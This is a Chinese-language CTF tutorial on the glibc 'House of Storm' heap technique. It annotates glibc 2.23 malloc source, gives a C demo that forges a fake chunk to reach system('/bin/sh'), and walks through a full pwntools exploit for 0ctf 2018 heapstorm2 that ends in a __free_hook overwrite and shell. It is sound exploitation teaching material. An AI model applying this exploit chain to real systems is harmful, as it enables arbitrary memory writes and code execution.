house_of_storm
漏洞危害
House_of_storm
可以在任意地址寫出chunk地址,進而把這個地址的高位當作size,可以進行任意地址分配chunk,也就是可以造成任意地址寫的后果,危害十分之大。 House_of_storm
雖然危害之大,但是其條件也是非常的苛刻。
漏洞利用條件
- glibc版本小於2.30,因為2.30之后加入了檢查
- 需要攻擊者在
large_bin
和unsorted_bin
中分別布置一個chunk 這兩個chunk需要在歸位之后處於同一個largebin
的index中且unsorted_bin
中的chunk要比large_bin
中的大 - 需要
unsorted_bin
中的bk指針
可控 - 需要
large_bin
中的bk指針和bk_nextsize
指針可控
原理及源碼分析
漏洞發生在unsorted_bin的chunk放入largebin的過程中,以下是glibc2.23的源碼分析。
//#define unsorted_chunks(M) (bin_at (M, 1))
//如果unsorted bins不為空,從尾到頭遍歷unsorted bin中的每個chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;//取出unsorted的尾部的chunk
/*
檢查當前遍歷的 chunk 是否合法,chunk 的大小不能小於等於 2 * SIZE_SZ,
也不能超過 該分配區總的內存分配量。然后獲取 chunk 的大小並賦值給 size。
這里的檢查似乎有點小問題,直接使用了 victim->size,但 victim->size
中包含了相關的標志位信息,使用 chunksize(victim) 才比較合理,但在
unsorted bin 中的空閑 chunk 的所有標志位都清零了,所以這里直接
victim->size 沒有問題。
*/
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);//獲取victim的size
/*
如果要申請的大小在smallbin范圍 且 unsorted chunks 只有一個chunk,且
victim是last_remainder 且 victim的size大於請求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。
last_remainder 是一個 chunk 指針,分配區上次分配 small chunk 時,
從一個 chunk 中分 裂出一個 small chunk 返回給用戶,分裂后的剩余部分
形成一個 chunk,last_remainder 就是 指向的這個 chunk。
*/
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
//分割remainder
remainder_size = size - nb;//計算分割后剩下的size
remainder = chunk_at_offset(victim, nb);//獲取remainder的地址
//把remainder加入unsorted bin中
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder; // 設置last_remainder為remainder
remainder->bk = remainder->fd = unsorted_chunks(av);
//如果是remainder在large bin的范圍,則把fd_nextsize,fd_nextsize清零
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->fd_nextsize = NULL;
}
//設置victim的size
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
//設置remainder的size
set_head(remainder, remainder_size | PREV_INUSE);
//設置remainder的物理相鄰的下一個chunk的prev_size
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);//默認不做任何操作
void *p = chunk2mem(victim);//將chunk指針轉化為mem指針
alloc_perturb(p, bytes);//將p的mem部分全部設置為bytes ,默認什么也不做
return p;
}
//把victim從unsorted bin 中移除
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
//如果 victim 的size 與申請的size相等,那么就返回其。
if (size == nb) {
//設置victim物理相鄰的下一個chunk的prev_inuse位
set_inuse_bit_at_offset(victim, size);
//如果av不是main_arena 也就是說如果不是主進程,設置NON_MAIN_ARENA位
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb); // 默認不做任何操作
void *p = chunk2mem(victim);//把chunk轉換為mem指針
alloc_perturb(p, bytes);//將p的mem部分全部設置為bytes ,默認什么也不做
return p;
}
//如果上一步取出的chunk沒有匹配成功,那么將該chunk放入對應的bin中
//如果在smallbin的范圍,則放到對應多small bin中
if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);//獲取size對應的smallbin的index
bck = bin_at(av, victim_index);//bck指向size對應的smallbin的鏈表頭
//fwd指向size對應的smallbin的鏈表中的新加入的chunk(small bin使用頭插法)
fwd = bck->fd;
}
else//如果不再smallbin的范圍,也就是說在large bin 的范圍
{
victim_index = largebin_index(size);//獲取size對應的large bin的index
bck = bin_at(av, victim_index);//bck指向size對應的large bin的鏈表頭
fwd = bck->fd;//fwd指向size對應的large bin的鏈表中的新加入的chunk
//如果large bin 非空,在largbin進行按順序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默認不啟用assert
/*
large bin中的chunk是按從大到小排列的,如果size < large bin
的最后一個chunk,說明size是這個large bin中的最小的,我們把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
fwd = bck;
bck = bck->bk;
/*
large bin 中size最小的chunk的fd_nextsize會指向size最大的
那個chunk,也就是首部的chunk。同樣,large bin 中size最大的
chunk的bk_nextsize會指向size最小的那個chunk。
victim的bk_nextsize指向large bin原來最小的chunk,它的
bk_nextsize指向最大的那個chunk。那么原來的最小的就成了第二小的了。
把它fd_nextsize和bk_nextsize都修正。
*/
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize,和原來最小chunk的bk_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默認不啟用assert
//從大到小(從頭到尾)找到合適的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size剛好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等,即size>fwd->size,把victim加入到縱向鏈表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //如果large bin 為空,將victim加入到縱向列表
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示為非空
//把victim加入到large bin的鏈表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
我們把關鍵部分拿出來再來看一看,我了方便看部分代碼有改動,我們將unsorted_chunk
//我們控制unsorted_chunk->bk = fake_chunk
//unsorted_chunks(av)->bk = fake_chunk
unsorted_chunks(av)->bk = unsorted_chunk->bk;
//fake_chunk+0x10 = unsorted_bin
bck->fd = unsorted_chunks(av);
else
{
/*
如果unsorted_chunk->size 大於 largbin_chunk->size,
把unsorted_chunk加入到縱向鏈表中
我們控制
large_chunk->bk = fake_chunk+0x8
large_chunk->bk_nextsize=fake_chunk-0x18-5
*/
unsorted_chunk->fd_nextsize = largbin_chunk;
//unsorted_chunk->bk_nextsize = fake_chunk-0x18-5
unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;
largbin_chunk->bk_nextsize = unsorted_chunk;
//fake_chunk+0x3 = unsorted_chunk
unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk;
}
//bck = fake_chunk+0x8
bck = largbin_chunk->bk;
}
}
mark_bin(av, unsorted_chunk_index); //把unsorted_chunk加入到的bin的表示為非空
//把unsorted_chunk加入到large bin的鏈表中
unsorted_chunk->bk = bck;
unsorted_chunk->fd = largbin_chunk;
largbin_chunk->bk = unsorted_chunk;
//fake_chunk+0x18 = unsorted_chunk
bck->fd = unsorted_chunk;
主要改寫就一下4個地方
- unsorted_bin->bk = fake_chunk #把fake_chunk鏈到了unsorted_bin中
- fake_chunk+0x10 = unsorted_bin #偽造fake_chunk的fd
- fake_chunk+0x3 = unsorted_chunk #偽造fake_chunk的size
- fake_chunk+0x18 = unsorted_chunk #偽造fake_chunk的bk
通過以上4步,我們成功偽造一個合法的fake_chunk,滿足unsorted bin的要求,並把它鏈到了unsorted bin中
例子
// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
unsigned long presize;
unsigned long size;
unsigned long fd;
unsigned long bk;
unsigned long fd_nextsize;
unsigned long bk_nextsize;
}chunk;
int main()
{
unsigned long *large_chunk,*unsorted_chunk;
unsigned long *fake_chunk = (unsigned long *)&chunk;
char *ptr;
unsorted_chunk=malloc(0x418);
malloc(0X20);
large_chunk=malloc(0x408);
malloc(0x20);
free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418); //large_chunk歸位
free(unsorted_chunk); // unsorted_chunk歸位
//重點一下3步
unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1] = (unsigned long )fake_chunk+8;
large_chunk[3] = (unsigned long )fake_chunk-0x18-5;
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));
return 0;
}
所以當我們申請的size和0x56
經過對齊后相等的話,那么就可以拿到任意的chunk。
0x55 : 1010101
0x56 : 1010110
__int_malloc
在拿到chunk后返回到__libc_malloc
,__libc_malloc
會對chunk的進行檢查,這里如果有錯的話會直接crash,但是由於程序有隨機化,多運行幾次總能有一次成功的。
/*
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
過以下檢測需要滿足的要求,只需滿足一條即可
1. victim 為 0
2. IS_MMAPPED 為 1
3. NON_MAIN_ARENA 為 0
*/
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
0ctf_2018_heapstorm2
首先檢查保護
IDA 分析,標准的增刪改查
__init函數
- 禁用的fastbin
- 在0x133700處 mmap出了一片空間作為heaparray
- 讀入了3個隨機數,第四4個和第3個一樣,我們記作r1,r2,r3,r4
- 初始化后面的地址,用r1異或0 作為ptr的值,r2異或0作為size值,我們之后的ptr都是通過xor r1得到的,size都是 xor r2得到的
add函數
- 找到第一個size為0的,然后根據輸入的size(12<size<0x1000)calloc ,然后在heaparray中填入相應的值。
edit函數
- 讀入的數據+12要小於等於申請時寫的size,我們讀入的數據會追加上一個12字節字符串再加上一個0結尾,所以存在off_by_null但是prev_size無法控制。
delete 函數
- 看上去挺正常的
show 函數
- 要滿足r2 xor r3 = 0x13377331才可以show,所以我們要想辦法控制heaparray的內容才能show
綜上:
- 存在 off_by_null 漏洞
- 申請的大小在 12~0x1000,使用的是calloc
- 目前不能show
- gibc用的是2.23
我們可以考慮使用house_of_storm,因為我們知道heaparray的地址,並且我們house_of_storm可以實現任意地址申請chunk,這樣我們就能控制r3,r4的值,使得show可以使用
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./0ctf_2018_heapstorm2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size)) # 12<size<0x1000
def edit(idx,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(len(content)))
p.sendafter('Content: ',content)
def delete(idx):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(idx))
def show(idx):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(idx))
#---------------布置chunk-------------------------#
add(0x18)#0 off_by_null修改1的size
add(0x508)#1
add(0x18)#2
#---------------
add(0x18)#3 off_by_null修改4的size
add(0x508)#4
add(0x18)#5
#---------------
add(0x18)#6 防止合並到top_chunk
#----------------准備 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500)) #偽造chunk
delete(1)
edit(0,'\x00'*(0x18-12)) #修改chunk1的size, 0x511->0x500
add(0x18) #1
add(0x4d8) #7 把0x500用完
delete(1)
delete(2) #1-2 合並 這是就存在堆重疊
add(0x38)#1
add(0x4e8)#2 chunk7的content指向chunk2的chunk-0x10位置處,我們可以實現控制unsorted chunk
#-------------------准備 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))#偽造chunk
delete(4)
edit(3,'\x00'*(0x18-12)) #修改chunk4的size, 0x511->0x500
add(0x18) #4
add(0x4d8) #8 把0x500用完
delete(4)
delete(5) #4-5 合並 這是就存在堆重疊
add(0x48)#4 此時unsorted bin中剩下一個0x4e1大小的chunk,且與8重疊,我們可以實現控制large chunk
#---------------unsorted chunk 和 large chunk 放到對應位置----------------------#
delete(2)
add(0x4e8) #把0x4e1的chunk放入到largebin中
delete(2) #把0x4F1的chunk放入到unsorted bin中
#--------------修改他們是的滿足條件進行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk
payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48) #2 -> 0x133707e0 成功將申請到了heaparray附近
#-----------------------泄漏 libc----------------------------------#
#由於bins中的chunk的fd,bk指向libc的地址,我們先要泄漏heap的地址
payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4為0,並且修改了chunk0的地址,此時的chunk0的size非常大,因為異或的是0
payload = p64(0)*3 +p64(0x13377331) #滿足show的條件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload) #滿足show的條件
show(1) #我們剛剛house of storm 寫的地址泄漏出來
p.recvuntil("]: ")
heap = u64(p.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))
payload = p64(0)*3 + p64(0x13377331)#滿足show的條件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)
show(1) #泄漏libc地址
p.recvuntil("]: ")
malloc_hook = u64(p.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
#--------------修改 free_hook -----------------------------------#
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)
edit(0, p64(system))
delete(1)
p.interactive()